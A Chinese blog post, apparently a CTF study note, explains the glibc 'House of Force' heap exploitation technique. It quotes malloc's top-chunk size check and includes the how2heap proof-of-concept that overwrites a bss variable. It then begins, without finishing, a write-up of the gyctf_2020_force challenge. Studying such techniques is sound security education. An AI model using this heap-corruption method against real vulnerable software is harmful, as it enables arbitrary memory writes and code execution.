学习于:
(1)https://bbs.kanxue.com/thread-262114.htm
(2):https://www.cnblogs.com/ZIKH26/articles/16533388.html
以及经典的wiki:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-force/
(可能我的文章会与他们有部分重合因为我是一步步跟着调试进行,如有问题请联系我)
前言:
House of force是一种基于top chunk的攻击手法,是利用glibc2.23以及2.27对top chunk进行size的合法检查的漏洞演变而来的,如果malloc函数执行时发现没有任何的bins中的堆块能够满足需求,就会从top chunk中切下一块内存返回给malloc,如果我们可以修改top chunk的size那么我们就可以将top chunk的大小修改至任意位置,再申请就相当于是任意位置读写了
对top chunk的size位的检查的相关代码如下:
1 // 获取当前的top chunk,并计算其对应的大小 2 victim = av->top; 3 size = chunksize(victim); 4 // 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。 5 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 6 { 7 remainder_size = size - nb; 8 remainder = chunk_at_offset(victim, nb); 9 av->top = remainder; 10 set_head(victim, nb | PREV_INUSE | 11 (av != &main_arena ? NON_MAIN_ARENA : 0)); 12 set_head(remainder, remainder_size | PREV_INUSE); 13 14 check_malloced_chunk(av, victim, nb); 15 void *p = chunk2mem(victim); 16 alloc_perturb(p, bytes); 17 return p; 18 }
可以看到这一句比较语句
5 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
size是一个((unsigned long) (size),如果我们给他修改成为-1,那么是不是就可以让size变成一个无限大的数字就可以通过比较了
how2heap例子:
1 //patchelf --set-interpreter /home/yic/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 ./force 2 //patchelf --set-rpath /home/yic/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 ./force 3 //gcc -g force.c -no-pie -o force 4 #include <stdio.h> 5 #include <stdint.h> 6 #include <stdlib.h> 7 #include <string.h> 8 #include <stdint.h> 9 #include <malloc.h> 10 char bss_var[] = "This is a string that we want to overwrite."; 11 12 int main(int argc , char* argv[]) 13 { 14 fprintf(stderr, "\n欢迎学习 House of Force\n\n"); 15 fprintf(stderr, "House of Force 这种方法是去覆写 top chunk 这样 malloc 的时候就可以 malloc 到任意地址\n"); 16 fprintf(stderr, "top chunk 是一类特殊的 chunk,在内存最后面。并且是当 malloc 向操作系统请求更多空间时将调整大小的块。\n"); 17 18 fprintf(stderr, "\n最后我们会覆盖这个变量 %p.\n", bss_var); 19 fprintf(stderr, "现在变量值是:%s\n", bss_var); 20 21 fprintf(stderr, "\n先分配一个 chunk.\n"); 22 intptr_t *p1 = malloc(256); 23 fprintf(stderr, "malloc(256) 的地址: %p.\n", p1 - 2); 24 25 fprintf(stderr, "\n现在有两块,一个我们申请的,一个 top chunk.\n"); 26 int real_size = malloc_usable_size(p1); 27 fprintf(stderr, "我们申请的 chunk 加上 chunk 头,大小是:%ld.\n", real_size + sizeof(long)*2); 28 29 fprintf(stderr, "\n现在假设有一个漏洞,可以覆盖掉 top chunk 的头部分\n"); 30 31 intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long)); 32 fprintf(stderr, "\ntop chunk 起始地址是:%p\n", ptr_top); 33 34 fprintf(stderr, "\n用一个很大的值覆盖掉 top chunk 的 size 位可以防止 malloc 调用 mmap\n"); 35 fprintf(stderr, "top chunk 之前的 size:%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); 36 *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; 37 fprintf(stderr, "top chunk 现在的 size:%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); 38 39 fprintf(stderr, "\n因为现在 top chunk 的 size 是很大的,所以我们可以调用 malloc 而不会调用 mmap\n"); 40 41 /* 42 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): 43 * new_top = old_top + nb 44 * nb = new_top - old_top 45 * req + 2sizeof(long) = new_top - old_top 46 * req = new_top - old_top - 2sizeof(long) 47 * req = dest - 2sizeof(long) - old_top - 2sizeof(long) 48 * req = dest - old_top - 4*sizeof(long) 49 */ 50 unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top; 51 fprintf(stderr, "\n我们想把数据写在这里:%p, top chunk 在:%p, 还要把 chunk 头算进去,我们将要申请 %#lx 字节.\n", bss_var, ptr_top, evil_size); 52 void *new_ptr = malloc(evil_size); 53 fprintf(stderr, "新申请的 chunk 将会与之前的 top chunk 在同一个位置: %p\n", new_ptr - sizeof(long)*2); 54 55 void* ctr_chunk = malloc(100); 56 fprintf(stderr, "\n接下来再申请 chunk 的话将会指向我们想要修改的地方\n"); 57 fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); 58 fprintf(stderr, "现在我们就可以控制 bss_var 这块地方的值了\n"); 59 60 fprintf(stderr, "... 之前内容是: %s\n", bss_var); 61 fprintf(stderr, "... 接下来把 \"YEAH!!!\" 写到那里...\n"); 62 strcpy(ctr_chunk, "YEAH!!!"); 63 fprintf(stderr, "... 新的内容: %s\n", bss_var); 64 // some further discussion: 65 //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); 66 //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size " 67 // "and we \nwant to set this result to the address of malloc_got_address-8\n\n"); 68 //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); 69 //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); 70 //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header )," 71 // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n"); 72 73 //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2); 74 //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address); 75 76 //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); 77 }
首先将断点下载第28行,申请了一个chunk,发现topchunk的位置是0x405110
再将断点下在38行,用-1进行绕过检查,将top chunk的size变成很大的数值
36 *(intptr_t *)((char *)ptr_top + sizeof(long)) =-1;
假设我们想要让 new_top的地址 到 0x404060,现在要让0x404060-0x20 =old_top的地址(0x405110) + size ,所以这个 size 应该是 0x404040-0x405110=0xffffffffffffef30,
也就是说只要申请 0xffffffffffffef30 大小的 chunk 就能把 top chunk的地址改到0x404060-0x10,然后我们再申请一个chunk的时候就是 0x404060 了至于为什么减去了0x20呢,我们想要申请到 0x404060 的时候要留出它的 chunk 头有 0x10的大小, 这就是说 0x404060-0x10 = old_top+size,即 size = 0x404060-0x10 - old_top,但是还要注意,我们去malloc的时的 size 的时候实际上申请的是 size+0x10 大小的 chunk,还要把这个 0x10 留出来,则就是最后就是减去0x20(32位程序是减去0x10)
例题:gyctf_2020_force
一道很看起来很简略的题目,我修改了一些函数名和变量名令程序好看一些
main函数:
add函数:
put函数:
你会发现,根本没有free函数,乐了,而且题目也给提示了,这题可以使用HOF,我们可以看到add函数中
我们可以申请任意大小的chunk却可以输入固定大小0x50字节的内容,如果我们申请小于0x50大小的chunk就可以造成溢出,具体的过程等调试完后继续写
标签:malloc,force,House,top,fprintf,stderr,例题,chunk,size From: https://www.cnblogs.com/ModesL/p/17779888.html